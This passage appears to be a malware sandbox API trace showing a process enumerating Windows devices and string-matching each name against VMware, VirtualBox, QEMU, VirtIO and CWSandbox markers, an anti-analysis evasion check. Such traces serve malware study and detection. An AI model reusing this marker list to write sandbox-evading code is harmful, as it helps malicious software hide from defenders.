lstrlenA (lpString="VMware Replay") returned 13 [0241.255] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0241.255] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f908 [0241.255] StrStrIA (lpFirst="?????", lpSrch="VMware server memory") returned 0x0 [0241.255] lstrlenA (lpString="VMware server memory") returned 20 [0241.256] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.256] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f9f0 [0241.256] StrStrIA (lpFirst="?????", lpSrch="CWSandbox") returned 0x0 [0241.256] lstrlenA (lpString="CWSandbox") returned 9 [0241.256] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0241.256] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fab0 [0241.256] StrStrIA (lpFirst="?????", lpSrch="Virtual HD") returned 0x0 [0241.256] lstrlenA (lpString="Virtual HD") returned 10 [0241.256] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.256] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f8d8 [0241.256] StrStrIA (lpFirst="?????", lpSrch="QEMU") returned 0x0 [0241.256] lstrlenA (lpString="QEMU") returned 4 [0241.256] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8d8 | out: hHeap=0x25a0000) returned 1 [0241.256] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fab0 [0241.256] StrStrIA (lpFirst="?????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.256] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.256] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.256] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb40 [0241.256] StrStrIA (lpFirst="?????", lpSrch="srootkit") returned 0x0 [0241.256] lstrlenA (lpString="srootkit") returned 8 [0241.256] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0241.256] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fab0 [0241.256] StrStrIA (lpFirst="?????", lpSrch="VMware VMaudio") returned 0x0 [0241.256] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.257] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.257] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fae0 [0241.257] StrStrIA (lpFirst="?????", lpSrch="VMware Vista") returned 0x0 [0241.257] lstrlenA (lpString="VMware Vista") returned 12 [0241.257] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0241.257] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f9f0 [0241.257] StrStrIA (lpFirst="?????", lpSrch="VBoxVideo") returned 0x0 [0241.257] lstrlenA (lpString="VBoxVideo") returned 9 [0241.257] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0241.257] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fba0 [0241.257] StrStrIA (lpFirst="?????", lpSrch="VBoxGuest") returned 0x0 [0241.257] lstrlenA (lpString="VBoxGuest") returned 9 [0241.257] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.257] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0241.257] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.258] GetLastError () returned 0x7a [0241.258] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fab0 [0241.258] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fab0, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fab0, RequiredSize=0x19fe7c) returned 1 [0241.258] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f868 [0241.258] StrStrIA (lpFirst="volume", lpSrch="vmxnet") returned 0x0 [0241.258] lstrlenA (lpString="vmxnet") returned 6 [0241.258] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f868 | out: hHeap=0x25a0000) returned 1 [0241.258] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f888 [0241.258] StrStrIA (lpFirst="volume", lpSrch="vmscsi") returned 0x0 [0241.258] lstrlenA (lpString="vmscsi") returned 6 [0241.259] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f888 | out: hHeap=0x25a0000) returned 1 [0241.259] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f778 [0241.259] StrStrIA (lpFirst="volume", lpSrch="VMAUDIO") returned 0x0 [0241.259] lstrlenA (lpString="VMAUDIO") returned 7 [0241.259] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f778 | out: hHeap=0x25a0000) returned 1 [0241.259] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f888 [0241.259] StrStrIA (lpFirst="volume", lpSrch="vmdebug") returned 0x0 [0241.259] lstrlenA (lpString="vmdebug") returned 7 [0241.259] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f888 | out: hHeap=0x25a0000) returned 1 [0241.259] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f8b8 [0241.259] StrStrIA (lpFirst="volume", lpSrch="vm3dmp") returned 0x0 [0241.259] lstrlenA (lpString="vm3dmp") returned 6 [0241.259] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8b8 | out: hHeap=0x25a0000) returned 1 [0241.259] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fa50 [0241.259] StrStrIA (lpFirst="volume", lpSrch="vmrawdsk") returned 0x0 [0241.259] lstrlenA (lpString="vmrawdsk") returned 8 [0241.259] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0241.259] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb70 [0241.259] StrStrIA (lpFirst="volume", lpSrch="vmx_svga") returned 0x0 [0241.259] lstrlenA (lpString="vmx_svga") returned 8 [0241.259] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0241.259] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f7c8 [0241.260] StrStrIA (lpFirst="volume", lpSrch="ansfltr") returned 0x0 [0241.260] lstrlenA (lpString="ansfltr") returned 7 [0241.260] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7c8 | out: hHeap=0x25a0000) returned 1 [0241.260] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f8b8 [0241.260] StrStrIA (lpFirst="volume", lpSrch="sbtisht") returned 0x0 [0241.260] lstrlenA (lpString="sbtisht") returned 7 [0241.260] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8b8 | out: hHeap=0x25a0000) returned 1 [0241.260] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.260] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0xb, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.260] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.265] GetLastError () returned 0x7a [0241.265] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1c) returned 0x261f908 [0241.265] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xe, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.269] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fb58 [0241.269] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Pointing") returned 0x0 [0241.269] lstrlenA (lpString="VMware Pointing") returned 15 [0241.269] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0241.269] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f930 [0241.269] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Accelerated") returned 0x0 [0241.269] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.269] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f930 | out: hHeap=0x25a0000) returned 1 [0241.269] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb70 [0241.269] StrStrIA (lpFirst="???????? ????", lpSrch="VMware SCSI") returned 0x0 [0241.269] lstrlenA (lpString="VMware SCSI") returned 11 [0241.269] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0241.269] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa50 [0241.269] StrStrIA (lpFirst="???????? ????", lpSrch="VMware SVGA") returned 0x0 [0241.269] lstrlenA (lpString="VMware SVGA") returned 11 [0241.269] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0241.269] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fa98 [0241.269] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Replay") returned 0x0 [0241.269] lstrlenA (lpString="VMware Replay") returned 13 [0241.269] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa98 | out: hHeap=0x25a0000) returned 1 [0241.270] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f930 [0241.270] StrStrIA (lpFirst="???????? ????", lpSrch="VMware server memory") returned 0x0 [0241.270] lstrlenA (lpString="VMware server memory") returned 20 [0241.270] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f930 | out: hHeap=0x25a0000) returned 1 [0241.270] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa98 [0241.270] StrStrIA (lpFirst="???????? ????", lpSrch="CWSandbox") returned 0x0 [0241.270] lstrlenA (lpString="CWSandbox") returned 9 [0241.270] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa98 | out: hHeap=0x25a0000) returned 1 [0241.270] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fa20 [0241.270] StrStrIA (lpFirst="???????? ????", lpSrch="Virtual HD") returned 0x0 [0241.270] lstrlenA (lpString="Virtual HD") returned 10 [0241.270] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0241.270] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f8a8 [0241.270] StrStrIA (lpFirst="???????? ????", lpSrch="QEMU") returned 0x0 [0241.270] lstrlenA (lpString="QEMU") returned 4 [0241.270] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8a8 | out: hHeap=0x25a0000) returned 1 [0241.270] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa80 [0241.270] StrStrIA (lpFirst="???????? ????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.270] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.270] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0241.270] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fba0 [0241.270] StrStrIA (lpFirst="???????? ????", lpSrch="srootkit") returned 0x0 [0241.271] lstrlenA (lpString="srootkit") returned 8 [0241.271] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.271] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fb40 [0241.271] StrStrIA (lpFirst="???????? ????", lpSrch="VMware VMaudio") returned 0x0 [0241.271] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.271] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0241.271] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f9f0 [0241.271] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Vista") returned 0x0 [0241.271] lstrlenA (lpString="VMware Vista") returned 12 [0241.271] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0241.271] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa08 [0241.271] StrStrIA (lpFirst="???????? ????", lpSrch="VBoxVideo") returned 0x0 [0241.271] lstrlenA (lpString="VBoxVideo") returned 9 [0241.271] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0241.271] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa68 [0241.271] StrStrIA (lpFirst="???????? ????", lpSrch="VBoxGuest") returned 0x0 [0241.271] lstrlenA (lpString="VBoxGuest") returned 9 [0241.271] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0241.271] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.271] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.271] GetLastError () returned 0xd [0241.272] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0xc, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.272] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.307] GetLastError () returned 0x7a [0241.307] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x46) returned 0x261f908 [0241.307] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x23, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.317] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fae0 [0241.317] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware Pointing") returned 0x0 [0241.317] lstrlenA (lpString="VMware Pointing") returned 15 [0241.317] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0241.317] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f958 [0241.317] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware Accelerated") returned 0x0 [0241.317] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.318] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f958 | out: hHeap=0x25a0000) returned 1 [0241.318] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa80 [0241.318] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware SCSI") returned 0x0 [0241.318] lstrlenA (lpString="VMware SCSI") returned 11 [0241.318] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0241.318] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa38 [0241.318] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware SVGA") returned 0x0 [0241.318] lstrlenA (lpString="VMware SVGA") returned 11 [0241.318] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0241.318] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fb88 [0241.318] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware Replay") returned 0x0 [0241.318] lstrlenA (lpString="VMware Replay") returned 13 [0241.318] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0241.318] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f958 [0241.318] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware server memory") returned 0x0 [0241.318] lstrlenA (lpString="VMware server memory") returned 20 [0241.318] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f958 | out: hHeap=0x25a0000) returned 1 [0241.319] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261faf8 [0241.319] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="CWSandbox") returned 0x0 [0241.319] lstrlenA (lpString="CWSandbox") returned 9 [0241.319] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0241.319] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fac8 [0241.319] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="Virtual HD") returned 0x0 [0241.319] lstrlenA (lpString="Virtual HD") returned 10 [0241.319] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0241.319] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f7d8 [0241.319] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="QEMU") returned 0x0 [0241.319] lstrlenA (lpString="QEMU") returned 4 [0241.319] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7d8 | out: hHeap=0x25a0000) returned 1 [0241.319] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa68 [0241.319] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="Red Hat VirtIO") returned 0x0 [0241.319] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.319] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0241.319] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fa50 [0241.319] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="srootkit") returned 0x0 [0241.319] lstrlenA (lpString="srootkit") returned 8 [0241.320] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0241.320] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fba0 [0241.320] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware VMaudio") returned 0x0 [0241.320] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.320] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.320] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fb10 [0241.320] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VMware Vista") returned 0x0 [0241.320] lstrlenA (lpString="VMware Vista") returned 12 [0241.320] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.320] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fba0 [0241.320] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VBoxVideo") returned 0x0 [0241.320] lstrlenA (lpString="VBoxVideo") returned 9 [0241.320] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.320] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb10 [0241.320] StrStrIA (lpFirst="Microsoft Teredo Tunneling Adapter", lpSrch="VBoxGuest") returned 0x0 [0241.320] lstrlenA (lpString="VBoxGuest") returned 9 [0241.321] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.321] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.321] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.321] GetLastError () returned 0x7a [0241.321] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fa20 [0241.321] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa20, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa20, RequiredSize=0x19fe7c) returned 1 [0241.322] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f7d8 [0241.322] StrStrIA (lpFirst="tunnel", lpSrch="vmxnet") returned 0x0 [0241.322] lstrlenA (lpString="vmxnet") returned 6 [0241.322] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7d8 | out: hHeap=0x25a0000) returned 1 [0241.322] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f758 [0241.322] StrStrIA (lpFirst="tunnel", lpSrch="vmscsi") returned 0x0 [0241.322] lstrlenA (lpString="vmscsi") returned 6 [0241.322] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f758 | out: hHeap=0x25a0000) returned 1 [0241.322] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f8a8 [0241.322] StrStrIA (lpFirst="tunnel", lpSrch="VMAUDIO") returned 0x0 [0241.322] lstrlenA (lpString="VMAUDIO") returned 7 [0241.323] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8a8 | out: hHeap=0x25a0000) returned 1 [0241.323] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f7b8 [0241.323] StrStrIA (lpFirst="tunnel", lpSrch="vmdebug") returned 0x0 [0241.323] lstrlenA (lpString="vmdebug") returned 7 [0241.323] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7b8 | out: hHeap=0x25a0000) returned 1 [0241.323] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f8d8 [0241.323] StrStrIA (lpFirst="tunnel", lpSrch="vm3dmp") returned 0x0 [0241.323] lstrlenA (lpString="vm3dmp") returned 6 [0241.323] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8d8 | out: hHeap=0x25a0000) returned 1 [0241.323] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb40 [0241.323] StrStrIA (lpFirst="tunnel", lpSrch="vmrawdsk") returned 0x0 [0241.323] lstrlenA (lpString="vmrawdsk") returned 8 [0241.323] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0241.323] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261f9f0 [0241.323] StrStrIA (lpFirst="tunnel", lpSrch="vmx_svga") returned 0x0 [0241.323] lstrlenA (lpString="vmx_svga") returned 8 [0241.323] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0241.323] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f748 [0241.323] StrStrIA (lpFirst="tunnel", lpSrch="ansfltr") returned 0x0 [0241.324] lstrlenA (lpString="ansfltr") returned 7 [0241.324] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f748 | out: hHeap=0x25a0000) returned 1 [0241.324] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f7a8 [0241.324] StrStrIA (lpFirst="tunnel", lpSrch="sbtisht") returned 0x0 [0241.324] lstrlenA (lpString="sbtisht") returned 7 [0241.324] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7a8 | out: hHeap=0x25a0000) returned 1 [0241.324] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0241.324] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0xd, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.324] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.341] GetLastError () returned 0x7a [0241.341] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x20) returned 0x261f908 [0241.341] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x10, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.351] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa98 [0241.351] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware Pointing") returned 0x0 [0241.351] lstrlenA (lpString="VMware Pointing") returned 15 [0241.352] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa98 | out: hHeap=0x25a0000) returned 1 [0241.352] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f930 